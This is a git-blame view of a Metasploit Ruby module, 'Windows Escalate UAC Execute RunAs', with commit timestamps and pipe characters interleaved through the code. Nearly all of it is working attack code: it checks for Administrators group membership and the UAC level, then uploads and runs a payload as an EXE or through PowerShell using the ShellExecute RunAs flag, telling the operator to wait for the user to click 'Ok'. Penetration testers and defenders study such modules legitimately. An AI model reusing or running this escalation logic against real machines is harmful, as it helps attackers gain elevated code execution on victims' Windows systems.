2012-10-06 04:51:44 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2013-03-07 23:53:19 +00:00
|
|
|
# http://metasploit.com/framework/
|
2012-10-06 04:51:44 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Local
|
2013-09-05 18:41:25 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2013-10-25 21:05:33 +00:00
|
|
|
include Post::Windows::Priv
|
|
|
|
include Post::Windows::Runas
|
2013-09-05 18:41:25 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'Windows Escalate UAC Execute RunAs',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will attempt to elevate execution level using
|
|
|
|
the ShellExecute undocumented RunAs flag to bypass low
|
|
|
|
UAC settings.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2013-10-19 07:15:38 +00:00
|
|
|
'Author' => [
|
|
|
|
'mubix', # Original technique
|
|
|
|
'b00stfr3ak' # Added powershell option
|
|
|
|
],
|
2013-09-05 18:41:25 +00:00
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
'Targets' => [ [ 'Windows', {} ] ],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'References' => [
|
|
|
|
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
|
|
|
|
],
|
2013-10-19 07:15:38 +00:00
|
|
|
'DisclosureDate'=> "Jan 3 2012",
|
2013-09-05 18:41:25 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new("FILENAME", [ false, "File name on disk"]),
|
|
|
|
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
|
2013-10-20 08:15:51 +00:00
|
|
|
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
|
2013-10-19 07:15:38 +00:00
|
|
|
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
|
2013-09-05 18:41:25 +00:00
|
|
|
])
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2013-10-21 18:57:50 +00:00
|
|
|
def check
|
|
|
|
session.readline
|
|
|
|
print_status('Checking admin status...')
|
2013-10-25 21:05:33 +00:00
|
|
|
admin_group = is_in_admin_group?
|
|
|
|
if admin_group.nil?
|
|
|
|
print_error('Either whoami is not there or failed to execute')
|
|
|
|
print_error('Continuing under assumption you already checked...')
|
|
|
|
return Exploit::CheckCode::Unknown
|
2013-10-21 18:57:50 +00:00
|
|
|
else
|
2013-10-25 21:05:33 +00:00
|
|
|
if admin_group
|
2013-10-21 18:57:50 +00:00
|
|
|
print_good('Part of Administrators group! Continuing...')
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
else
|
2013-10-25 21:05:33 +00:00
|
|
|
print_error("Not in admins group, cannot escalate with this module")
|
2013-10-21 18:57:50 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-10-25 21:05:33 +00:00
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
def exploit
|
2013-10-21 18:57:50 +00:00
|
|
|
admin_check = check
|
|
|
|
if admin_check.join =~ /safe/
|
2013-10-25 21:05:33 +00:00
|
|
|
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
2013-10-21 18:57:50 +00:00
|
|
|
end
|
2013-10-25 21:05:33 +00:00
|
|
|
if is_uac_enabled?
|
2013-09-05 18:41:25 +00:00
|
|
|
print_status "UAC is Enabled, checking level..."
|
|
|
|
else
|
2013-10-25 21:05:33 +00:00
|
|
|
if is_in_admin_group?
|
|
|
|
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
|
|
|
else
|
|
|
|
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
|
|
|
end
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
2013-10-25 21:05:33 +00:00
|
|
|
case get_uac_level
|
|
|
|
when UAC_NO_PROMPT
|
2013-10-20 08:15:51 +00:00
|
|
|
print_good "UAC is not enabled, no prompt for the user"
|
2013-10-25 21:05:33 +00:00
|
|
|
else
|
|
|
|
print_status "The user will be prompted, wait for them to click 'Ok'"
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
#
|
|
|
|
# Generate payload and random names for upload
|
|
|
|
#
|
2013-10-20 08:15:51 +00:00
|
|
|
case datastore["TECHNIQUE"]
|
|
|
|
when "EXE"
|
2013-10-25 21:05:33 +00:00
|
|
|
execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
|
2013-10-20 08:15:51 +00:00
|
|
|
when "PSH"
|
2013-10-25 21:05:33 +00:00
|
|
|
execute_psh
|
2013-09-05 18:41:25 +00:00
|
|
|
end
|
|
|
|
end
|
2013-10-25 21:05:33 +00:00
|
|
|
end
|